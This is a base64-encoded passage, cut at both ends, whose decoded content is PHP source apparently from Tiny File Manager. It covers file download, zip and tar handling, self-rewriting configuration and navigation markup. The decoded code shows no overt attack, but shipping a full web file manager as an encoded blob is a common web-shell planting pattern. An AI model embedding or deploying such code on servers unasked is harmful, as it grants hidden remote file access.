ICAgfQogICAgICAgICB9CiAgICAgICAgIHJldHVybiAkZmlsZXM7CiAgICAgfQp9CgovKioKKiBQYXJhbWV0ZXJzOiBkb3dubG9hZEZpbGUoRmlsZSBMb2NhdGlvbiwgRmlsZSBOYW1lLAoqIG1heCBzcGVlZCwgaXMgc3RyZWFtaW5nCiogSWYgc3RyZWFtaW5nIC0gdmlkZW9zIHdpbGwgc2hvdyBhcyB2aWRlb3MsIGltYWdlcyBhcyBpbWFnZXMKKiBpbnN0ZWFkIG9mIGRvd25sb2FkIHByb21wdAoqIGh0dHBzOi8vc3RhY2tvdmVyZmxvdy5jb20vYS8xMzgyMTk5Mi8xMTY0NjQyCiovCmZ1bmN0aW9uIGZtX2Rvd25sb2FkX2ZpbGUoJGZpbGVMb2NhdGlvbiwgJGZpbGVOYW1lLCAkY2h1bmtTaXplICA9IDEwMjQpCnsKICAgIGlmIChjb25uZWN0aW9uX3N0YXR1cygpICE9IDApCiAgICAgICAgcmV0dXJuIChmYWxzZSk7CiAgICAkZXh0ZW5zaW9uID0gcGF0aGluZm8oJGZpbGVOYW1lLCBQQVRISU5GT19FWFRFTlNJT04pOwoKICAgICRjb250ZW50VHlwZSA9IGZtX2dldF9maWxlX21pbWVzKCRleHRlbnNpb24pOwoKICAgIGlmKGlzX2FycmF5KCRjb250ZW50VHlwZSkpIHsKICAgICAgICAkY29udGVudFR5cGUgPSBpbXBsb2RlKCcgJywgJGNvbnRlbnRUeXBlKTsKICAgIH0KCiAgICAkc2l6ZSA9IGZpbGVzaXplKCRmaWxlTG9jYXRpb24pOwoKICAgIGlmICgkc2l6ZSA9PSAwKSB7CiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ1plcm8gYnl0ZSBmaWxlISBBYm9ydGluZyBkb3dubG9hZCcpLCAnZXJyb3InKTsKICAgICAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7CgogICAgICAgIHJldHVybiAoZmFsc2UpOwogICAgfQoKICAgIEBpbmlfc2V0KCdtYWdpY19xdW90ZXNfcnVudGltZScsIDApOwogICAgJGZwID0gZm9wZW4oIiRmaWxlTG9jYXRpb24iLCAicmIiKTsKCiAgICBpZiAoJGZwID09PSBmYWxzZSkgewogICAgICAgIGZtX3NldF9tc2cobG5nKCdDYW5ub3Qgb3BlbiBmaWxlISBBYm9ydGluZyBkb3dubG9hZCcpLCAnZXJyb3InKTsKICAgICAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7CiAgICAgICAgcmV0dXJuIChmYWxzZSk7CiAgICB9CgogICAgLy8gaGVhZGVycwogICAgaGVhZGVyKCdDb250ZW50LURlc2NyaXB0aW9uOiBGaWxlIFRyYW5zZmVyJyk7CiAgICBoZWFkZXIoJ0V4cGlyZXM6IDAnKTsKICAgIGhlYWRlcignQ2FjaGUtQ29udHJvbDogbXVzdC1yZXZhbGlkYXRlLCBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wJyk7CiAgICBoZWFkZXIoJ1ByYWdtYTogcHVibGljJyk7CiAgICBoZWFkZXIoIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJpbmFyeSIpOwogICAgaGVhZGVyKCJDb250ZW50LVR5cGU6ICRjb250ZW50VHlwZSIpOwoKICAgICRjb250ZW50RGlzcG9zaXRpb24gPSAnYXR0YWNobWVudCc7CgogICAgaWYgKHN0cnN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sICJNU0lFIikpIHsKICAgICAgICAkZmlsZU5hbWUgPSBwcmVnX3JlcGxhY2UoJy9cLi8nLCAnJTJlJywgJGZpbGVOYW1lLCBzdWJzdHJfY291bnQoJGZpbGVOYW1lLCAnLicpIC0gMSk7CiAgICAgICAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiAkY29udGVudERpc3Bvc2l0aW9uO2ZpbGVuYW1lPVwiJGZpbGVOYW1lXCIiKTsKICAgIH0gZWxzZSB7CiAgICAgICAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiAkY29udGVudERpc3Bvc2l0aW9uO2ZpbGVuYW1lPVwiJGZpbGVOYW1lXCIiKTsKICAgIH0KCiAgICBoZWFkZXIoIkFjY2VwdC1SYW5nZXM6IGJ5dGVzIik7CiAgICAkcmFuZ2UgPSAwOwoKICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9SQU5HRSddKSkgewogICAgICAgIGxpc3QoJGEsICRyYW5nZSkgPSBleHBsb2RlKCI9IiwgJF9TRVJWRVJbJ0hUVFBfUkFOR0UnXSk7CiAgICAgICAgc3RyX3JlcGxhY2UoJHJhbmdlLCAiLSIsICRyYW5nZSk7CiAgICAgICAgJHNpemUyID0gJHNpemUgLSAxOwogICAgICAgICRuZXdfbGVuZ3RoID0gJHNpemUgLSAkcmFuZ2U7CiAgICAgICAgaGVhZGVyKCJIVFRQLzEuMSAyMDYgUGFydGlhbCBDb250ZW50Iik7CiAgICAgICAgaGVhZGVyKCJDb250ZW50LUxlbmd0aDogJG5ld19sZW5ndGgiKTsKICAgICAgICBoZWFkZXIoIkNvbnRlbnQtUmFuZ2U6IGJ5dGVzICRyYW5nZSRzaXplMi8kc2l6ZSIpOwogICAgfSBlbHNlIHsKICAgICAgICAkc2l6ZTIgPSAkc2l6ZSAtIDE7CiAgICAgICAgaGVhZGVyKCJDb250ZW50LVJhbmdlOiBieXRlcyAwLSRzaXplMi8kc2l6ZSIpOwogICAgICAgIGhlYWRlcigiQ29udGVudC1MZW5ndGg6ICIgLiAkc2l6ZSk7CiAgICB9CiAgICAkZmlsZUxvY2F0aW9uID0gcmVhbHBhdGgoJGZpbGVMb2NhdGlvbik7CiAgICB3aGlsZSAob2JfZ2V0X2xldmVsKCkpIG9iX2VuZF9jbGVhbigpOwogICAgcmVhZGZpbGUoJGZpbGVMb2NhdGlvbik7CgogICAgZmNsb3NlKCRmcCk7CgogICAgcmV0dXJuICgoY29ubmVjdGlvbl9zdGF0dXMoKSA9PSAwKSBhbmQgIWNvbm5lY3Rpb25fYWJvcnRlZCgpKTsKfQoKLyoqCiAqIElmIHRoZSB0aGVtZSBpcyBkYXJrLCByZXR1cm4gdGhlIHRleHQtd2hpdGUgYW5kIGJnLWRhcmsgY2xhc3Nlcy4KICogQHJldHVybiBzdHJpbmcgdGhlIHZhbHVlIG9mIHRoZSAgdmFyaWFibGUuCiAqLwpmdW5jdGlvbiBmbV9nZXRfdGhlbWUoKSB7CiAgICAkcmVzdWx0ID0gJyc7CiAgICBpZihGTV9USEVNRSA9PSAiZGFyayIpIHsKICAgICAgICAkcmVzdWx0ID0gInRleHQtd2hpdGUgYmctZGFyayI7CiAgICB9CiAgICByZXR1cm4gJHJlc3VsdDsKfQoKLyoqCiAqIENsYXNzIHRvIHdvcmsgd2l0aCB6aXAgZmlsZXMgKHVzaW5nIFppcEFyY2hpdmUpCiAqLwpjbGFzcyBGTV9aaXBwZXIKewogICAgcHJpdmF0ZSAkemlwOwoKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpCiAgICB7CiAgICAgICAgJHRoaXMtPnppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDcmVhdGUgYXJjaGl2ZSB3aXRoIG5hbWUgJGZpbGVuYW1lIGFuZCBmaWxlcyAkZmlsZXMgKFJFTEFUSVZFIFBBVEhTISkKICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lCiAgICAgKiBAcGFyYW0gYXJyYXl8c3RyaW5nICRmaWxlcwogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoJGZpbGVuYW1lLCAkZmlsZXMpCiAgICB7CiAgICAgICAgJHJlcyA9ICR0aGlzLT56aXAtPm9wZW4oJGZpbGVuYW1lLCBaaXBBcmNoaXZlOjpDUkVBVEUpOwogICAgICAgIGlmICgkcmVzICE9PSB0cnVlKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzX2FycmF5KCRmaWxlcykpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmKSB7CiAgICAgICAgICAgICAgICAkZiA9IGZtX2NsZWFuX3BhdGgoJGYpOwogICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRmlsZU9yRGlyKCRmKSkgewogICAgICAgICAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+YWRkRmlsZU9yRGlyKCRmaWxlcykpIHsKICAgICAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogRXh0cmFjdCBhcmNoaXZlICRmaWxlbmFtZSB0byBmb2xkZXIgJHBhdGggKFJFTEFUSVZFIE9SIEFCU09MVVRFIFBBVEhTKQogICAgICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWUKICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGgKICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gdW56aXAoJGZpbGVuYW1lLCAkcGF0aCkKICAgIHsKICAgICAgICAkcmVzID0gJHRoaXMtPnppcC0+b3BlbigkZmlsZW5hbWUpOwogICAgICAgIGlmICgkcmVzICE9PSB0cnVlKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgaWYgKCR0aGlzLT56aXAtPmV4dHJhY3RUbygkcGF0aCkpIHsKICAgICAgICAgICAgJHRoaXMtPnppcC0+Y2xvc2UoKTsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICAvKioKICAgICAqIEFkZCBmaWxlL2ZvbGRlciB0byBhcmNoaXZlCiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZQogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRmlsZU9yRGlyKCRmaWxlbmFtZSkKICAgIHsKICAgICAgICBpZiAoaXNfZmlsZSgkZmlsZW5hbWUpKSB7CiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+emlwLT5hZGRGaWxlKCRmaWxlbmFtZSk7CiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkZmlsZW5hbWUpKSB7CiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+YWRkRGlyKCRmaWxlbmFtZSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICAvKioKICAgICAqIEFkZCBmb2xkZXIgcmVjdXJzaXZlbHkKICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGgKICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwcml2YXRlIGZ1bmN0aW9uIGFkZERpcigkcGF0aCkKICAgIHsKICAgICAgICBpZiAoISR0aGlzLT56aXAtPmFkZEVtcHR5RGlyKCRwYXRoKSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7CiAgICAgICAgaWYgKGlzX2FycmF5KCRvYmplY3RzKSkgewogICAgICAgICAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkZmlsZSkgewogICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX2RpcigkcGF0aCAuICcvJyAuICRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5hZGREaXIoJHBhdGggLiAnLycgLiAkZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRwYXRoIC4gJy8nIC4gJGZpbGUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnppcC0+YWRkRmlsZSgkcGF0aCAuICcvJyAuICRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9Cn0KCi8qKgogKiBDbGFzcyB0byB3b3JrIHdpdGggVGFyIGZpbGVzICh1c2luZyBQaGFyRGF0YSkKICovCmNsYXNzIEZNX1ppcHBlcl9UYXIKewogICAgcHJpdmF0ZSAkdGFyOwoKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpCiAgICB7CiAgICAgICAgJHRoaXMtPnRhciA9IG51bGw7CiAgICB9CgogICAgLyoqCiAgICAgKiBDcmVhdGUgYXJjaGl2ZSB3aXRoIG5hbWUgJGZpbGVuYW1lIGFuZCBmaWxlcyAkZmlsZXMgKFJFTEFUSVZFIFBBVEhTISkKICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lCiAgICAgKiBAcGFyYW0gYXJyYXl8c3RyaW5nICRmaWxlcwogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoJGZpbGVuYW1lLCAkZmlsZXMpCiAgICB7CiAgICAgICAgJHRoaXMtPnRhciA9IG5ldyBQaGFyRGF0YSgkZmlsZW5hbWUpOwogICAgICAgIGlmIChpc19hcnJheSgkZmlsZXMpKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikgewogICAgICAgICAgICAgICAgJGYgPSBmbV9jbGVhbl9wYXRoKCRmKTsKICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPmFkZEZpbGVPckRpcigkZikpIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRGaWxlT3JEaXIoJGZpbGVzKSkgewogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIEV4dHJhY3QgYXJjaGl2ZSAkZmlsZW5hbWUgdG8gZm9sZGVyICRwYXRoIChSRUxBVElWRSBPUiBBQlNPTFVURSBQQVRIUykKICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoCiAgICAgKiBAcmV0dXJuIGJvb2wKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHVuemlwKCRmaWxlbmFtZSwgJHBhdGgpCiAgICB7CiAgICAgICAgJHJlcyA9ICR0aGlzLT50YXItPm9wZW4oJGZpbGVuYW1lKTsKICAgICAgICBpZiAoJHJlcyAhPT0gdHJ1ZSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGlmICgkdGhpcy0+dGFyLT5leHRyYWN0VG8oJHBhdGgpKSB7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgZmlsZS9mb2xkZXIgdG8gYXJjaGl2ZQogICAgICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWUKICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwcml2YXRlIGZ1bmN0aW9uIGFkZEZpbGVPckRpcigkZmlsZW5hbWUpCiAgICB7CiAgICAgICAgaWYgKGlzX2ZpbGUoJGZpbGVuYW1lKSkgewogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkZmlsZW5hbWUpOwogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkZmlsZW5hbWUpKSB7CiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+YWRkRGlyKCRmaWxlbmFtZSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICAvKioKICAgICAqIEFkZCBmb2xkZXIgcmVjdXJzaXZlbHkKICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGgKICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwcml2YXRlIGZ1bmN0aW9uIGFkZERpcigkcGF0aCkKICAgIHsKICAgICAgICAkb2JqZWN0cyA9IHNjYW5kaXIoJHBhdGgpOwogICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHsKICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykgewogICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJHBhdGggLiAnLycgLiAkZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRGlyKCRwYXRoIC4gJy8nIC4gJGZpbGUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCAuICcvJyAuICRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkcGF0aCAuICcvJyAuICRmaWxlKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KfQoKLyoqCiAqIFNhdmUgQ29uZmlndXJhdGlvbgogKi8KIGNsYXNzIEZNX0NvbmZpZwp7CiAgICAgdmFyICRkYXRhOwoKICAgIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkKICAgIHsKICAgICAgICBnbG9iYWwgJHJvb3RfcGF0aCwgJHJvb3RfdXJsLCAkQ09ORklHOwogICAgICAgICRmbV91cmwgPSAkcm9vdF91cmwuJF9TRVJWRVJbIlBIUF9TRUxGIl07CiAgICAgICAgJHRoaXMtPmRhdGEgPSBhcnJheSgKICAgICAgICAgICAgJ2xhbmcnID0+ICdlbicsCiAgICAgICAgICAgICdlcnJvcl9yZXBvcnRpbmcnID0+IHRydWUsCiAgICAgICAgICAgICdzaG93X2hpZGRlbicgPT4gdHJ1ZQogICAgICAgICk7CiAgICAgICAgJGRhdGEgPSBmYWxzZTsKICAgICAgICBpZiAoc3RybGVuKCRDT05GSUcpKSB7CiAgICAgICAgICAgICRkYXRhID0gZm1fb2JqZWN0X3RvX2FycmF5KGpzb25fZGVjb2RlKCRDT05GSUcpKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkbXNnID0gJ1RpbnkgRmlsZSBNYW5hZ2VyPGJyPkVycm9yOiBDYW5ub3QgbG9hZCBjb25maWd1cmF0aW9uJzsKICAgICAgICAgICAgaWYgKHN1YnN0cigkZm1fdXJsLCAtMSkgPT0gJy8nKSB7CiAgICAgICAgICAgICAgICAkZm1fdXJsID0gcnRyaW0oJGZtX3VybCwgJy8nKTsKICAgICAgICAgICAgICAgICRtc2cgLj0gJzxicj4nOwogICAgICAgICAgICAgICAgJG1zZyAuPSAnPGJyPlNlZW1zIGxpa2UgeW91IGhhdmUgYSB0cmFpbGluZyBzbGFzaCBvbiB0aGUgVVJMLic7CiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+VHJ5IHRoaXMgbGluazogPGEgaHJlZj0iJyAuICRmbV91cmwgLiAnIj4nIC4gJGZtX3VybCAuICc8L2E+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBkaWUoJG1zZyk7CiAgICAgICAgfQogICAgICAgIGlmIChpc19hcnJheSgkZGF0YSkgJiYgY291bnQoJGRhdGEpKSAkdGhpcy0+ZGF0YSA9ICRkYXRhOwogICAgICAgIGVsc2UgJHRoaXMtPnNhdmUoKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzYXZlKCkKICAgIHsKICAgICAgICAkZm1fZmlsZSA9IF9fRklMRV9fOwogICAgICAgICR2YXJfbmFtZSA9ICckQ09ORklHJzsKICAgICAgICAkdmFyX3ZhbHVlID0gdmFyX2V4cG9ydChqc29uX2VuY29kZSgkdGhpcy0+ZGF0YSksIHRydWUpOwogICAgICAgICRjb25maWdfc3RyaW5nID0gIjw/cGhwIiAuIGNocigxMykgLiBjaHIoMTApIC4gIi8vRGVmYXVsdCBDb25maWd1cmF0aW9uIi5jaHIoMTMpIC4gY2hyKDEwKS4iJHZhcl9uYW1lID0gJHZhcl92YWx1ZTsiIC4gY2hyKDEzKSAuIGNocigxMCk7CiAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRmbV9maWxlKSkgewogICAgICAgICAgICAkbGluZXMgPSBmaWxlKCRmbV9maWxlKTsKICAgICAgICAgICAgaWYgKCRmaCA9IEBmb3BlbigkZm1fZmlsZSwgInciKSkgewogICAgICAgICAgICAgICAgQGZwdXRzKCRmaCwgJGNvbmZpZ19zdHJpbmcsIHN0cmxlbigkY29uZmlnX3N0cmluZykpOwogICAgICAgICAgICAgICAgZm9yICgkeCA9IDM7ICR4IDwgY291bnQoJGxpbmVzKTsgJHgrKykgewogICAgICAgICAgICAgICAgICAgIEBmcHV0cygkZmgsICRsaW5lc1skeF0sIHN0cmxlbigkbGluZXNbJHhdKSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmaCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0KCi8vLS0tIFRlbXBsYXRlcyBGdW5jdGlvbnMgLS0tCgovKioKICogU2hvdyBuYXYgYmxvY2sKICogQHBhcmFtIHN0cmluZyAkcGF0aAogKi8KZnVuY3Rpb24gZm1fc2hvd19uYXZfcGF0aCgkcGF0aCkKewogICAgZ2xvYmFsICRsYW5nLCAkc3RpY2t5X25hdmJhciwgJGVkaXRGaWxlOwogICAgJGlzU3RpY2t5TmF2QmFyID0gJHN0aWNreV9uYXZiYXIgPyAnZml4ZWQtdG9wJyA6ICcnOwogICAgJGdldFRoZW1lID0gZm1fZ2V0X3RoZW1lKCk7CiAgICAkZ2V0VGhlbWUgLj0gIiBuYXZiYXItbGlnaHQiOwogICAgaWYoRk1fVEhFTUUgPT0gImRhcmsiKSB7CiAgICAgICAgJGdldFRoZW1lIC49ICIgbmF2YmFyLWRhcmsiOwogICAgfSBlbHNlIHsKICAgICAgICAkZ2V0VGhlbWUgLj0gIiBiZy13aGl0ZSI7CiAgICB9CiAgICA/PgogICAgPG5hdiBjbGFzcz0ibmF2YmFyIG5hdmJhci1leHBhbmQtbGcgPD9waHAgZWNobyAkZ2V0VGhlbWU7ID8+IG1iLTQgbWFpbi1uYXYgPD9waHAgZWNobyAkaXNTdGlja3lOYXZCYXIgPz4iPgogICAgICAgIDxhIGNsYXNzPSJuYXZiYXItYnJhbmQiPiA8P3BocCBlY2hvIGxuZygnQXBwVGl0bGUnKSA/PiA8L2E+CiAgICAgICAgPGJ1dHRvbiBjbGFzcz0ibmF2YmFyLXRvZ2dsZXIiIHR5cGU9ImJ1dHRvbiIgZGF0YS1icy10b2dnbGU9ImNvbGxhcHNlIiBkYXRhLWJzLXRhcmdldD0iI25hdmJhclN1cHBvcnRlZENvbnRlbnQiIGFyaWEtY29udHJvbHM9Im5hdmJhclN1cHBvcnRlZENvbnRlbnQiIGFyaWEtZXhwYW5kZWQ9ImZhbHNlIiBhcmlhLWxhYmVsPSJUb2dnbGUgbmF2aWdhdGlvbiI+CiAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJuYXZiYXItdG9nZ2xlci1pY29uIj48L3NwYW4+CiAgICAgICAgPC9idXR0b24+CiAgICAgICAgPGRpdiBjbGFzcz0iY29sbGFwc2UgbmF2YmFyLWNvbGxhcHNlIiBpZD0ibmF2YmFyU3VwcG9ydGVkQ29udGVudCI+CgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAkcGF0aCA9IGZtX2NsZWFuX3BhdGgoJHBhdGgpOwogICAgICAgICAgICAkcm9vdF91cmwgPSAiPGEgaHJlZj0nP3A9Jz48aSBjbGFzcz0nZmEgZmEtaG9tZScgYXJpYS1oaWRkZW49J3RydWUnIHRpdGxlPSciIC4gRk1fUk9PVF9QQVRIIC4gIic+PC9pPjwvYT4iOwogICAgICAgICAgICAkc2VwID0gJzxpIGNsYXNzPSJicmVhZC1jcnVtYiI+IC8gPC9pPic7CiAgICAgICAgICAgIGlmICgkcGF0aCAhPSAnJykgewogICAgICAgICAgICAgICAgJGV4cGxvZGVkID0gZXhwbG9kZSgnLycsICRwYXRoKTsKICAgICAgICAgICAgICAgICRjb3VudCA9IGNvdW50KCRleHBsb2RlZCk7CiAgICAgICAgICAgICAgICAkYXJyYXkgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgJHBhcmVudCA9ICcnOwogICAgICAgICAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgJGNvdW50OyAkaSsrKSB7CiAgICAgICAgICAgICAgICAgICAgJHBhcmVudCA9IHRyaW0oJHBhcmVudCAuICcvJyAuICRleHBsb2RlZFskaV0sICcvJyk7CiAgICAgICAgICAgICAgICAgICAgJHBhcmVudF9lbmMgPSB1cmxlbmNvZGUoJHBhcmVudCk7CiAgICAgICAgICAgICAgICAgICAgJGFycmF5W10gPSAiPGEgaHJlZj0nP3A9eyRwYXJlbnRfZW5jfSc+IiAuIGZtX2VuYyhmbV9jb252ZXJ0X3dpbigkZXhwbG9kZWRbJGldKSkgLiAiPC9hPiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkcm9vdF91cmwgLj0gJHNlcCAuIGltcGxvZGUoJHNlcCwgJGFycmF5KTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb2wteHMtNiBjb2wtc20tNSI+JyAuICRyb290X3VybCAuICRlZGl0RmlsZSAuICc8L2Rpdj4nOwogICAgICAgICAgICA/PgoKICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXhzLTYgY29sLXNtLTciPgogICAgICAgICAgICAgICAgPHVsIGNsYXNzPSJuYXZiYXItbmF2IGp1c3RpZnktY29udGVudC1lbmQgPD9waHAgZWNobyBmbV9nZXRfdGhlbWUoKTsgID8+Ij4KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIG1yLTIiPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnB1dC1ncm91cCBpbnB1dC1ncm91cC1zbSBtci0xIiBzdHlsZT0ibWFyZ2luLXRvcDo0cHg7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sIiBwbGFjZWhvbGRlcj0iPD9waHAgZWNobyBsbmcoJ1NlYXJjaCcpID8+IiBhcmlhLWxhYmVsPSI8P3BocCBlY2hvIGxuZygnU2VhcmNoJykgPz4iIGFyaWEtZGVzY3JpYmVkYnk9InNlYXJjaC1hZGRvbjIiIGlkPSJzZWFyY2gtYWRkb24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wdXQtZ3JvdXAtYXBwZW5kIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iaW5wdXQtZ3JvdXAtdGV4dCBicmwtMCBicnItMCIgaWQ9InNlYX